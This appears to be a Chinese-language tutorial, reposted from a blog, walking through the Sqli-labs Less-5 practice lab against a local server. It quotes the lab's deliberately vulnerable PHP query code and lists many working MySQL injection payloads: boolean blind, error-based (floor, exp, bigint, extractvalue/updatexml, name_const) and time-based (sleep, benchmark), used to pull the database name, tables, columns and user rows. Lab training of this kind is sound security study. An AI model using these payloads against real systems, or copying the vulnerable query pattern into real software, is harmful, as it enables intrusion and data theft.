Sqli-labs Less-5 布尔盲注 & 报错注入 & 延时注入

查看后台源码,我们发现,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

所以这关的正确思路是盲注。

1、利用left(database(),1)进行尝试

首先查看一下version()

http://127.0.0.1/sql/Less-5/?id=1' and left(version(),1)='5' %23

这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。

当版本号不正确的时候,则不能正确显示 you are in......

可以试出数据库的版本号为5.6.17

接下来看一下数据库的长度

http://127.0.0.1/sql/Less-5/?id=1' and length(database())=8 %23

长度为8时,返回正确结果,说明长度为8。

猜测数据库第一位

http://127.0.0.1/sql/Less-5/?id=1' and left(database(),1)>'a'--+

Database()为security,所以我们看他的第一位是否 > a,很明显的是s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。

猜测数据库第二位

得知第一位为s,我们看前两位是否大于 sa

http://127.0.0.1/sql/Less-5/?id=1' and left(database(),2)>'sa'--+

往下的举一反三,最终得知数据库名为security。

2、利用substr() ascii()函数进行尝试

利用以下方式获取security数据库下的表

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--

此处table_schema可以写成 ='security',但是我们这里使用的database(),是因为此处database()就是security。此处同样的使用二分法进行测试,直到测试正确为止。

此处应该是101,因为第一个表是email。

如何获取第一个表的第二位字符呢?我们已经了解了substr()函数,这里使用substr(**,2,1)即可。

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+

那如何获取第二个表呢?思考一下!

这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!

http://127.0.0.1/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+

此处113返回是正确的,因为第二个表示referers表,所以第一位就是r。

以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。

当你按照方法运行结束后,就可以获取到所有的表的名字。

3、利用regexp正则注入获取users表中的列

下面语句是选择users表中的列名是否有以us开头的列

http://127.0.0.1/sql/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users'  and column_name regexp '^us' limit 0,1)--+

http://127.0.0.1/sql/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users'  and column_name regexp '^username' limit 0,1)--+

可以试出username存在。我们可以将username换成password等其他的项也是正确的。

4、利用ord()和mid()函数获取users表的内容

http://127.0.0.1/sql/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68--+

Explain:

(1)cast(username as char)将username转换成char类型,注意这里是cast函数(语法:Cast(字段名 as 转换的类型 )),我刚开始写成了case,结果报语法错误,检查了好几遍才发现。

(2)ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。

(3)0x20是空格的ascii码的十六进制表示。

(4)mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。

(5)ord()函数同ascii(),将字符转为ascii值。

综上,这个SQL的意思是查询users表中的username列,以id排序,找到第一个值,截取第一个字符,将其转换为ascii码,并与68(大小字母D)作比较。

我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。

总结:以上1、2、3、4我们通过使用不同的语句,将通过布尔盲注SQL的所有的payload进行演示了一次。想必通过实例更能够对sql布尔盲注语句熟悉和理解了。

接下来,我们演示一下报错注入和延时注入。

5、报错注入

方法1 利用floor()函数报错注入

http://127.0.0.1/sql/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

其中,select user()可以修改为你构造的任意查询语句。

上述hacker sql的意思请参考https://www.freebuf.com/articles/web/38315.htmlhttps://www.cnblogs.com/GH-D/p/8274091.html

方法2 利用double数值类型超出范围进行报错注入

http://127.0.0.1/sql/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3--+

原理见Sqli-labs Less-14 利用exp()函数造成double数值类型超出范围进行报错注入

方法3 利用bigint溢出进行报错注入

http://127.0.0.1/sql/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

方法4 利用xpath函数报错注入

http://127.0.0.1/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

http://127.0.0.1/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

原理可参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

方法5 利用数据的重复性

http://127.0.0.1/sql/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

6、延时注入

方法1 利用sleep()函数延时注入

http://127.0.0.1/sql/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

当错误的时候会有5秒的时间延时。

方法2 利用benchmark()函数延时注入

http://127.0.0.1/sql/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候,运行ENCODE('MSG','by 5 seconds')操作50000000次,会占用一段时间。

至此,我们已经将上述讲到的盲注的利用方法全部在less5中演示了一次。在后续的关卡中,将会挑一种进行演示,其他的盲注方法请参考less5。

来自:https://www.cnblogs.com/lcamry/p/6122257.html

猜你喜欢

转载自www.cnblogs.com/zhengna/p/12445887.html